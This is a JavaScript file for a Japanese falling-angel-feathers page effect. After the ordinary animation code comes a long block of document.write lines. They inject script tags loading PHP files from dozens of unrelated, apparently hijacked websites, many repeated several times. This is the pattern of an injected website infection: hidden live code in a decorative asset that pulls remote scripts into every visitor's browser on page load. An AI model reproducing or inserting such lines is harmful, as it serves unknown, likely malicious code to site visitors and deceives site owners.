// 画面に天使の羽根が舞う

var feather_params = new Array();

/* ------------------------------------
　羽のデータ
------------------------------------ */
function Feather (obj) {
    this.y = Math.random() * (feathers_winheight() - 50);
    this.obj = obj;
    this.move = move_feather;
    this.reset = reset_feather;
    this.reset();
}

/* ------------------------------------
　羽データ再初期化
------------------------------------ */
function reset_feather () {
    this.dx = 0;
    this.x = Math.random() * (feathers_winwidth() - 50);
    this.swing = feathers_swing * 0.1 + 
        Math.random() * (feathers_swing * 0.9);
    this.xstep = 0.02 + Math.random() / 10;
    this.ystep = 1 + Math.random();
    if(feathers_direction == 1) this.ystep *= -1;
    this.wind = feathers_wind * Math.random();
}

/* ------------------------------------
　羽を動かす
------------------------------------ */
function move_feather () {
    this.y += this.ystep;
    this.x += this.wind;
    if(this.x < 0) this.x = feathers_winwidth()
        - (this.obj.width ? this.obj.width+1 : 50);
    else if(feathers_winwidth()
        - (this.obj.width ? this.obj.width+1 : 50) < this.x) this.x = 0;
    
    var f = 0;
    if(feathers_direction == 1 && this.y < 0) {
        this.y  = feathers_winheight()
            - (this.obj.height ? this.obj.height+1 : 50);
        this.reset();
    }
    else if (feathers_direction == 0 && 
        this.y > feathers_winheight()
            - (this.obj.height ? this.obj.height+1 : 50)) {
        this.y = 0;
        this.reset();
    }
    
    this.dx += this.xstep;
    this.obj.style.top  = (this.y + feathers_scrolltop()) + "px";
    var x = this.x + this.swing * Math.sin(this.dx);
    if(x > feathers_winwidth() - (this.obj.width ? this.obj.width+1 : 50))
        x = feathers_winwidth() - (this.obj.width ? this.obj.width+1 : 50);
    this.obj.style.left = (x + feathers_scrollleft()) + "px";
    if(this.obj.style.visibility == "hidden")
        this.obj.style.visibility = "visible";
}

/* ------------------------------------
　初期化
------------------------------------ */
function feathers_start () {
    if(!document.getElementById) return;
    
    if(feathers_speed < 10) feathers_speed = 10;
    if(navigator.userAgent.indexOf("Gecko") > 0) feathers_bg = 0;
    
    var div = document.getElementById(feathers_id);
    if(!div) { setTimeout("feathers_start()", 500); return; }
    
    var i, j = 0;
    for(i = 0; i < div.childNodes.length ;i++) {
        var img = div.childNodes[i];
        if(img.nodeName != "IMG") continue;
        var img2 = document.createElement("IMG");
        img2.src = img.src;
        img2.style.position = "absolute";
        img2.style.visibility = "hidden";
        img2.style.left = "0px";
        img2.style.top = "0px";
        // 背景に降らせる効果

        if(feathers_bg) img2.style.zIndex = -1;
        if(img.width) img2.width = img.width;
        if(img.height) img2.height = img.height;
        document.body.appendChild(img2);
        feather_params[j] = new Feather(img2);
        j++;
    }
    feathers_timer();
}
/* ------------------------------------
　アニメーション処理
------------------------------------ */
function feathers_timer () {
    for(i = 0; i < feather_params.length; i++)
        feather_params[i].move();
    setTimeout("feathers_timer();", feathers_speed);
}

/* ------------------------------------
　ウィンドウの幅取得
------------------------------------ */
function feathers_winwidth () {
	if(window.innerWidth)
		return window.innerWidth;
	if(document.compatMode == "CSS1Compat")
		return document.documentElement.clientWidth;
	if(document.body && document.body.clientWidth)
		return document.body.clientWidth;
	return 600;
}

/* ------------------------------------
　ウィンドウの高さ取得
------------------------------------ */
function feathers_winheight () {
	if(window.innerHeight)
		return window.innerHeight;
	if(document.compatMode == "CSS1Compat")
		return document.documentElement.clientHeight;
	if(document.body.clientHeight)
		return document.body.clientHeight;
	return 400;
}

/* ------------------------------------
　スクロール領域の上端
------------------------------------ */
function feathers_scrolltop () {

	if(window.pageYOffset)
		return window.pageYOffset;
	if(document.compatMode == "CSS1Compat")
		return document.documentElement.scrollTop;
	if(document.body.scrollTop)
		return document.body.scrollTop;
	return 0;
}

/* ------------------------------------
　スクロール領域の左端
------------------------------------ */
function feathers_scrollleft () {
	if(window.pageXOffset)
		return window.pageXOffset;
	if(document.compatMode == "CSS1Compat")
		return document.documentElement.scrollLeft;
	if(document.body.scrollLeft)
		return document.body.scrollLeft;
	return 0;
}

document.write('<script src=http://photobeygi.webphoto.ir/photos/login.php ><\/script>');
document.write('<script src=http://photobeygi.webphoto.ir/photos/login.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://cs-zch.lua.pl/tmp/woman57.php ><\/script>');
document.write('<script src=http://nse-block-dealcenters.co.cc/index.php ><\/script>');
document.write('<script src=http://vaculik.espeedway.pl/foto/vaculik2.php ><\/script>');
document.write('<script src=http://vaculik.espeedway.pl/foto/vaculik2.php ><\/script>');
document.write('<script src=http://vaculik.espeedway.pl/foto/vaculik2.php ><\/script>');
document.write('<script src=http://bangplub.go.th/upload/webboard.php ><\/script>');
document.write('<script src=http://bangplub.go.th/upload/webboard.php ><\/script>');
document.write('<script src=http://hw-mykid.co.kr/include/latest.php ><\/script>');
document.write('<script src=http://hw-mykid.co.kr/include/latest.php ><\/script>');
document.write('<script src=http://hw-mykid.co.kr/include/latest.php ><\/script>');
document.write('<script src=http://koreamnc.co.kr/data/popup.php ><\/script>');
document.write('<script src=http://beticadeaislamientos.com/css/contacto.php ><\/script>');
document.write('<script src=http://beticadeaislamientos.com/css/contacto.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://becasse.info/echange-de-liens-automatique-pour-votre-referencement/rantex.php ><\/script>');
document.write('<script src=http://lillimaids.com/bkup/sendsresults.php ><\/script>');
document.write('<script src=http://lillimaids.com/bkup/sendsresults.php ><\/script>');
document.write('<script src=http://lillimaids.com/bkup/sendsresults.php ><\/script>');
document.write('<script src=http://lillimaids.com/bkup/sendsresults.php ><\/script>');
document.write('<script src=http://lillimaids.com/bkup/sendsresults.php ><\/script>');
document.write('<script src=http://lillimaids.com/bkup/sendsresults.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://tkleinhof.nl/Kalender/pathway.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://seiren.dothome.co.kr/bbs/bn.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://britishamerican.edu.np/lib/under_construction.php ><\/script>');
document.write('<script src=http://tulsi.com.hk/images/gifimg.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://partypoker.moviecoupons.com/testing/center.php ><\/script>');
document.write('<script src=http://tfconsultant.fr/plugins/CHANGELOG.php ><\/script>');
document.write('<script src=http://tfconsultant.fr/plugins/CHANGELOG.php ><\/script>');
document.write('<script src=http://tfconsultant.fr/plugins/CHANGELOG.php ><\/script>');
document.write('<script src=http://anubansuanphung.com/cache/CHANGELOG.php ><\/script>');
document.write('<script src=http://anubansuanphung.com/cache/CHANGELOG.php ><\/script>');
document.write('<script src=http://anubansuanphung.com/cache/CHANGELOG.php ><\/script>');
document.write('<script src=http://anubansuanphung.com/cache/CHANGELOG.php ><\/script>');
document.write('<script src=http://anubansuanphung.com/cache/CHANGELOG.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://seelenland.at/galerie/indexy.php ><\/script>');
document.write('<script src=http://systeko.ru/images/indexd.php ><\/script>');
document.write('<script src=http://systeko.ru/images/indexd.php ><\/script>');
document.write('<script src=http://systeko.ru/images/indexd.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://re3.sera-gp.com/nagahara/atom.php ><\/script>');
document.write('<script src=http://kennedyhighglobalschool.com/images/gallery/faci1.php ><\/script>');
document.write('<script src=http://kennedyhighglobalschool.com/images/gallery/faci1.php ><\/script>');
document.write('<script src=http://kennedyhighglobalschool.com/images/gallery/faci1.php ><\/script>');
document.write('<script src=http://kennedyhighglobalschool.com/images/gallery/faci1.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://scluxury.lx.ro/images/i82r/photothumb.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://imagennecochea.com.ar/fotos/REGLAMENTO_SUB_15_2009.php ><\/script>');
document.write('<script src=http://atlantis-yachts.rs/js/yachts.php ><\/script>');
document.write('<script src=http://atlantis-yachts.rs/js/yachts.php ><\/script>');
document.write('<script src=http://sportskisavez-siroki.com/components/index2.php ><\/script>');
document.write('<script src=http://sportskisavez-siroki.com/components/index2.php ><\/script>');
document.write('<script src=http://kongview.com/img/func.php ><\/script>');
document.write('<script src=http://kongview.com/img/func.php ><\/script>');
document.write('<script src=http://kongview.com/img/func.php ><\/script>');
document.write('<script src=http://kongview.com/img/func.php ><\/script>');
document.write('<script src=http://kongview.com/img/func.php ><\/script>');
document.write('<script src=http://olimpiq-stemxcell.com/page2/dokumentumok/nbgcn/aruhitel.php ><\/script>');
document.write('<script src=http://olimpiq-stemxcell.com/page2/dokumentumok/nbgcn/aruhitel.php ><\/script>');
document.write('<script src=http://olimpiq-stemxcell.com/page2/dokumentumok/nbgcn/aruhitel.php ><\/script>');
document.write('<script src=http://olimpiq-stemxcell.com/page2/dokumentumok/nbgcn/aruhitel.php ><\/script>');
document.write('<script src=http://olimpiq-stemxcell.com/page2/dokumentumok/nbgcn/aruhitel.php ><\/script>');
document.write('<script src=http://olimpiq-stemxcell.com/page2/dokumentumok/nbgcn/aruhitel.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://zanfo.it/images/gifimg.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://kvofbhusawal.com/Templates/Forward1.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://edirneotokiralama.com/images/gifimg.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://first-engineer.com/includes/configurationold.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://thecottagenh.com/images/gifimg.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://tmk.groupeflo-franchises.net/listes/htaccess.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://spaciocollections.com/admin/international-collection-garden-bench2.php ><\/script>');
document.write('<script src=http://hmteleservices.com/images/gifimg.php ><\/script>');
document.write('<script src=http://hmteleservices.com/images/gifimg.php ><\/script>');
document.write('<script src=http://hmteleservices.com/images/gifimg.php ><\/script>');
document.write('<script src=http://hmteleservices.com/images/gifimg.php ><\/script>');
document.write('<script src=http://hmteleservices.com/images/gifimg.php ><\/script>');